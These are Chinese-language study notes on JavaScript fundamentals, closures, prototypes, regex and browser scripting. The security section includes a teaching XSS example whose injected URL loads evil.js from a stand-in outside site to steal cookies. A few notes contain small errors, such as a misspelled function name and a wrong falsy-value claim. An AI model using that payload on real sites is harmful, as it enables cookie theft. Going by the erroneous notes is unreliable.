1. javascript中有对象概念 包含属性和属性值
2. 对象+函数=方法 a.reverse() a对象调用逆排序方法
3. 区分大小写 html 不区分 不要搞混
4. 语句后最好加分号
5. 自动内存垃圾回收 当没有引用指向对象时被回收
6. 转义符 \
7. 局部变量必须用var
8. 全局变量和局部变量重名,全局变量被覆盖
9. 函数里声明的所有变量都被提前至函数体顶部
10. 将所有变量看作是一个对象的属性 这些对象(虚拟的)形成一个作用域链 查找对象时从第一个对象开始查找
11. == ===表示相等和严格相等
12. in 运算符表示判断一个对象中是否包含某属性
13. instanceof 判断谁是谁的实例
14. for/in循环用来更方便的遍历对象的属性
15. 语句可以定义标签 mainloop:while() 通过标签调用while循环
<---------------------------------函数---------------------------------------->
1. 闭包:在JS中有作用域和执行环境的问题,在函数内部的变量在函数外部是无法访问的, 全局变量可以在函数内部访问创建闭包可以解决 闭包可以将变量一直保存在内存中
2. 闭包原理: f1中n对外部不可见 f2中n=f1中n 所以return f2就可在外部对n可见
function f1(){
var n=999;
function f2(){
alert(n);
}
return f2;
}
var result=f1();
result(); // 999
3.不能在外部直接调用内部函数
4.如果内部函数引用了位于外部函数的变量 当外部函数被调用完成后 这个变量也不会被释放 因为闭包需要它
<-------------------------------------类&原型-------------------------------->
1. 每个对象都从原型对象那里继承属性
2. 定义构造函数类名首字母大写 普通函数首字小写
3. 构造函数必须通过new 来创建
4. 对象从其原型继承属性,可以通过给原型对象添加新的方法来扩充类--类的动态可继承性
5. 鸭式辨型:通过对象的行为判断一个对象的类是什么
6. JavaScript里所有的东西都是对象. 对象是属性的集合. 数字, 字符串, 布尔值等原始值是"伪对象", 它们同样拥有属性, 但是是在栈上分配并按值传递. 而其他的对象是堆上分配并按引用传递.
7. 每个对象都有constructor属性表示创建该对象的构造函数
8. 构造函数也是对象, 那构造函数是由什么创建? 内建的Function函数
9. Function是本机代码实现的固有对象. 为了一致性, Function也有constructor属性, 该属性指向它自己
10. prototype是构造函数的一个属性, 该属性指向一个对象. 而这个对象将作为该构造函数所创建的所有实例的基引用(base reference)
11. 模块化:http://www.ruanyifeng.com/blog/2012/10/javascript_module.html
<-------------------------------------------正则表达式----------------------------------------------->
1. 如果不记着哪些符号需要转义 可以在符号前加\预防
2. /[abc]/ 和字母a, b, c中任何一个都匹配
3. ^表示否定匹配 /[^abc]/ 匹配任何不包含a,b,c的字符
4. /[a-z]/匹配所有小写字母 /[a-zA-Z0-9]/匹配所有字母和数字
5. 锚字符:^匹配开头 $匹配结尾 (?=p)零宽正向先行断言 要求接下来的字符都和p匹配 (?!p)零宽负向先行断言要求接下来的字符都不和p匹配
6. 修饰符:i 不区分大小写 g 全局模式匹配 找到所有匹配 m 多行匹配 修饰符在/ /后面
7. js中使用正则表达式:search() match() replace() split()
< ------------------------------------------子集和扩展---------------------------------------------->
1. 解构赋值:let [x,y] = [1,2] 等价于 x=1, y=2 两侧结果不用一一对应 多余出来的变量被赋值为undefine
<-------------------------------------------服务器端JS--------------------------------------------->
<------------------------------------------Web浏览器中得JS-------------------------------------->
1. window对象是所有客户端JS特性的主要接入点, document属性是window对象最重要的属性 该属性有重要的方法 如 getElementById()
2. HTML中嵌入JS 四种方法:内嵌
4. JS在浏览器中得执行过程
5. JS是单线程的 浏览器在处理脚本时停止用户响应
6. 为了解决JS单线程缺陷可以使用setTimeout() setInterval() 方法在后台运行子任务
7. HTML的 Web Worker 用来执行计算密集任务而不冻结用户界面
8. 功能测试是解决浏览器兼容问题的强大技术:如果想用某种功能但不知道是否在所有浏览器中都有比较好的兼容性就使用功能测试
9. 为处理兼容性问题可以加入IE 兼容性注释
10. 安全性:一些浏览器禁用JS功能:JS打开新的浏览器窗口 关闭自己代开的浏览器窗口 FileUpload 元素 value属性为只读 否则可以将其变为期望上传的文件名(如密码文件) 不能从不同服务器载入文档内容 不能在来自不同服务器的文档上注册监听事件
11. 同源策略:脚本只能读取和所属文档来源相同的窗口和文档属性
12. 跨站脚本 XSS:攻击者向目标站点注入HTML标签或恶意脚本 如
var name = decodeURICompoent(window.location.search.substring(1)) ||"";
document.write("hello"+name);
可以注入:http://siteA/greet.html?name=%3Cscript src=siteB /evil.js%3E%3C/script%3E
其中恶意evil.js来自站点B 将其嵌入到站点A中(例如可以读取站点A的cookie发送到B)
<------------------------------------------window对象--------------------------------->
1. 使用navigator.userAgent可以进行浏览器诱探
2. navigate.onLine属性可以检测浏览器是否在线
3. Geolocation确定用户地理信息位置
4. cookieEnable检测浏览器是否可以永久保存cookie
5. appVersion检测浏览器厂商和版本信息
6. platform检测浏览器运行所在系统
<--------------------------------------脚本化文档---------------------------------------->
1. 查询文档一个或多个元素的方法:指定的id属性 指定的name属性 指定的标签名 指定的CSS类 匹配指定的CSS选择器
2. 没有任何从元素中删除属性的方法 有替代方法操作非HTML标准元素
3. 字符串" "是假值 与undefine不同
<--------------------------------------脚本化CSS----------------------------------------->
1. 文档通过link引入CSS
2. js与CSS结合生成脚本化CSS实现视觉效果成为动态HTML即DHTML
3. CSS层叠指文档样式来源于:浏览器默认样式表 文档样式表 每个独立的HTML元素styLe属性 从右向左覆盖关系 形成最终样式
4. 一些浏览器厂商实现了非标准CSS属性
5. CSS属性名中包含连字符 在JS中应该改为驼峰写法
6. CSS内联样式
7. 元素的style属性代表了元素的内联样式 它覆盖了元素的所有样式属性
8. 计算样式是浏览器最终显示的样式 只读 用getComputedStyle()获取
<—--------------------------------—------事件处理------------------------------------------->
1. JS采用异步事件驱动编程模型
<-----------------------------------------脚本化HTTP------------------------------------------>
1. AJAX应用的主要特点是用脚本操作HTTP和WEB服务进行数据交换 而不会使页面重载
2. Comet框架同AJAX作用相仿 AJAX中客户端从服务端拉数据 Comet是服务器端向客户端推数据
3. 有多种方式实现AJAX:
○ 有src属性 浏览器在加载时会向服务器端发送其src中内容服务器端相应后会把图片发总给浏览器客户端
○
○